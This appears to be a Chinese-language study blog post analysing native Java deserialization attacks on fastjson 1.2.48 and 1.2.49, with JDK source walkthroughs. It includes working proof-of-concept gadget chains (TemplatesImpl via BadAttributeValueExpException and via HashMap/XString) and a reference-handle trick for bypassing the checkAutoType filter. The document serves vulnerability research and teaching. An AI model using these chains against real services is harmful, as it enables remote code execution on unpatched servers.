fastjson原生反序列化

前言

这里学的是fastjson的原生反序列化
即,依赖java自带的序列化机制,触发的反序列化漏洞
这里是因为fastjson已经自定义了一套序列化机制,因此与这个区分开
在某些高限制场景可以试着打一打这条链子
我们看一下,fastjson的原生反序列化漏洞

fastjson-1.2.48

使用的jdk是8u85
依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>

这里有定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void serilize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
oos.writeObject(obj);
}

public static void unserilize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois= new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}

后半段链子

我们看一下fastjson里面哪些类继承Serializable接口
Ctrl+N搜索Serializable类
进入选中Ctrl+Alt+B,查看调用
找到fastjson包里的使用情况找到两个json类
JSONObject
JSONArray
这两个类都继承了JSON,拥有了这两个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public String toString() {
return this.toJSONString();
}

public String toJSONString() {
SerializeWriter out = new SerializeWriter();

String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}

return var2;
}

假设我们找到了一个入口类调用了toString呢?
(因为这个版本的JSON类没有实现readobject)
进入write方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public final void write(Object object) {
if (object == null) {
this.out.writeNull();
} else {
Class<?> clazz = object.getClass();
ObjectSerializer writer = this.getObjectWriter(clazz);

try {
writer.write(this, object, (Object)null, (Type)null, 0);
} catch (IOException e) {
throw new JSONException(e.getMessage(), e);
}
}
}

跟进getObjectWriter方法,j进入SerializeConfig类
getObjectWriter这个方法内容较大,简述就是
先判断serializers这个HashMap当中有无默认映射,然后会默认通过createJavaBeanSerializer方法创建一个ObjectSerializer对象

1
2
3
4
这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理,而这个方法其实就是通过ASM动态创建一个类
getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中
它会根据字段的类型调用不同的方法处理
.......

详细可见
fastjson-反序列化
我们之前打过jdk7u21的原生链,里面就是这样的方式调用了TemplatesImpl类里的getOutputProperties方法,而这个方法会调用newTransformer方法,最终调用恶意类的构造方法,实现rce
那么现在的问题,变成了,从哪里调用JSON类的toString方法呢?

前半段链子

需要找到一个类可以调用指定类的toString方法
了解到BadAttributeValueExpException类,这条触发toString的链子会在CC5中进行讲解
到此,成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

只要通过反射调用修改val值,我们就可以调用对象的toString方法了

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CtClass clazz =
ClassPool.getDefault().get(com.example.Evil.class.getName());
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "Sh_eePppp");
setFieldValue(templates, "_tfactory", null);


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
serilize(val);
unserilize("1.bin");

poc2

触发toString方法还存在着第二条链,我们从HashMap入口进入
HashMap#readObject -> XString#equals -> JSONObject#toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
CtClass clazz =
ClassPool.getDefault().get(com.example.Evil.class.getName());
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "Sh_eePppp");
setFieldValue(templates, "_tfactory", null);



JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
XString xString = new XString("");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("aa", jsonArray);
map1.put("bB", xString);
map2.put("aa", xString);
map2.put("bB", jsonArray);


HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(map1, "1");
hashMap.put(map2, "3");

serilize(hashMap);
unserilize("1.bin");

fastjson-1.2.49

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法
而这个readObject方法里,在SecureObjectInputStream类当中重写了resolveClass方法,其中调用了checkAutoType方法做类的检查
基于此类情况,TemplatesImpl类不被允许加载,poc1与poc2全部失效
我们需要找到一个绕过chexkAutoType检测的方法

1
ObjectInputStream secIn = new SecureObjectInputStream(in);

会将这个反序列化过程委托给SecureObjectInputStream进行处理
这个SecureObjectInputStream类继承于ObjectInputStream,而ObjectInputStream的readObject方法会调用resolveClass方法,而在SecureObjectInputStream类当中,resolveClass方法会调用checkAutoType方法做类的检查,因此我们需要找到一个办法,绕过checkAutoType方法的检测
就要看看,ObjectInputStream是如何重建对象的,它会把哪些类型丢进resolveClass呢?
再次之前,请先了解一下resolveClass的防御模式
ObjectInputStream#readObject->readObject0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
private Object readObject0(boolean unshared) throws IOException {
boolean oldMode = bin.getBlockDataMode();
if (oldMode) {
int remain = bin.currentBlockRemaining();
if (remain > 0) {
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
/*
* Fix for 4360508: stream is currently at the end of a field
* value block written via default serialization; since there
* is no terminating TC_ENDBLOCKDATA tag, simulate
* end-of-custom-data behavior explicitly.
*/
throw new OptionalDataException(true);
}
bin.setBlockDataMode(false);
}

byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}

depth++;
try {
switch (tc) {
case TC_NULL:
return readNull();

case TC_REFERENCE:
return readHandle(unshared);

case TC_CLASS:
return readClass(unshared);

case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);

case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));

case TC_ARRAY:
return checkResolve(readArray(unshared));

case TC_ENUM:
return checkResolve(readEnum(unshared));

case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));

case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);

case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}

case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}
1
2
3
4
5
byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}

这个字节是aced(序列化Stream标识)0005(版本号)之后的第一个字节,这里为0x73,即十进制的115,之后便会根据这个值进入对应的分支:TC_OBJECT,且在这个分支之中会进入readOrdinaryObject之中
readOrdinaryObject

obj的实例化来自于desc,而desc来自readClassDesc
readClassDesc

会再次更加类型进入到各分支中。我们这里是一个类,所以会进入TC_CLASSDESC,使用readNonProxyDesc获得类的描述信息(字段值之类的)
readNonProxyDesc

在这个方法里面,先利用readClassDescriptor获取字段信息,然后使用resolveClass去解析。最后使用initNonProxy把刚刚的字段信息,装载成类描述符,然后返回

正常来讲,resolveClass会通过反射加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

而SecureObjectInputStream类里的resolveClass在反射调用之前先进行一层WAF

再回到readOrdinaryObject方法,获得类描述符之后,会检查是否可以反序列化checkDeserialize,然后再readSerialData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private void readSerialData(Object obj, ObjectStreamClass desc)
throws IOException
{
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
for (int i = 0; i < slots.length; i++) {
ObjectStreamClass slotDesc = slots[i].desc;

if (slots[i].hasData) {
if (obj == null || handles.lookupException(passHandle) != null) {
defaultReadFields(null, slotDesc); // skip field values
} else if (slotDesc.hasReadObjectMethod()) {//判断是否有重写的readobject
SerialCallbackContext oldContext = curContext;
if (oldContext != null)
oldContext.check();
try {
curContext = new SerialCallbackContext(obj, slotDesc);

bin.setBlockDataMode(true);
slotDesc.invokeReadObject(obj, this);//调用重写的readObject
} catch (ClassNotFoundException ex) {
/*
* In most cases, the handle table has already
* propagated a CNFException to passHandle at this
* point; this mark call is included to address cases
* where the custom readObject method has cons'ed and
* thrown a new CNFException of its own.
*/
handles.markException(passHandle, ex);
} finally {
curContext.setUsed();
if (oldContext!= null)
oldContext.check();
curContext = oldContext;
}

/*
* defaultDataEnd may have been set indirectly by custom
* readObject() method when calling defaultReadObject() or
* readFields(); clear it to restore normal read behavior.
*/
defaultDataEnd = false;
} else {
defaultReadFields(obj, slotDesc);//进行数据填充
}

if (slotDesc.hasWriteObjectData()) {
skipCustomData();
} else {
bin.setBlockDataMode(false);
}
} else {
if (obj != null &&
slotDesc.hasReadObjectNoDataMethod() &&
handles.lookupException(passHandle) == null)
{
slotDesc.invokeReadObjectNoData(obj);
}
}
}
}

经过这个函数反序列化基本结束,之后readOrdinaryObject返回Obj,readObject中再调用 vlist.doCallbacks()处理回调,结束反序列化流程,返回反序列化成功的Object。
图如下

那么我们将如何进行绕过呢?
在Switch-Case语句中,大部分方法最终都会调用readClassDesc去获取类的描述符,而不会调用readClassDesc方法的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,其中NULL、STRING与LONGSTRING类型没有什么用处,EXCEPTION类型则是解决序列化终止相关,因此只剩下REFERENCE类型。
即,认为,不进入readClassDesc,即可以不用被WAF

1
在java.io.ObjectOutputStream#writeObject0方法中存在一个判断,当再次写入同一对象时,如果在handles这个哈希表中查到了映射,就会通过writeHandle方法将重复对象以REFERENCE类型写入,因此向List、Set及Map类型中添加同样对象时即可成功利用  

那么只需我们加上一个就行了

1
2
3
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(exception);

实验,成功

当然不止用arrayList进行绕过,还有

1
2
3
4
5
6
7
//map
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(templates, exception);
//set
HashSet<Object> hashSet = new HashSet<>();
hashSet.add(templates);
hashSet.add(exception);

附一张图

参考文章

https://chenlvtang.top/2022/09/18/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90%E5%8F%8AresolveClass/
https://h3rmesk1t.github.io/2024/12/25/Fastjson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://infernity.top/2025/02/16/fastjson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%BA%E4%BB%80%E4%B9%88fastjson1%E7%9A%841-2-49%E4%BB%A5%E5%90%8E%E4%B8%8D%E5%86%8D%E8%83%BD%E5%88%A9%E7%94%A8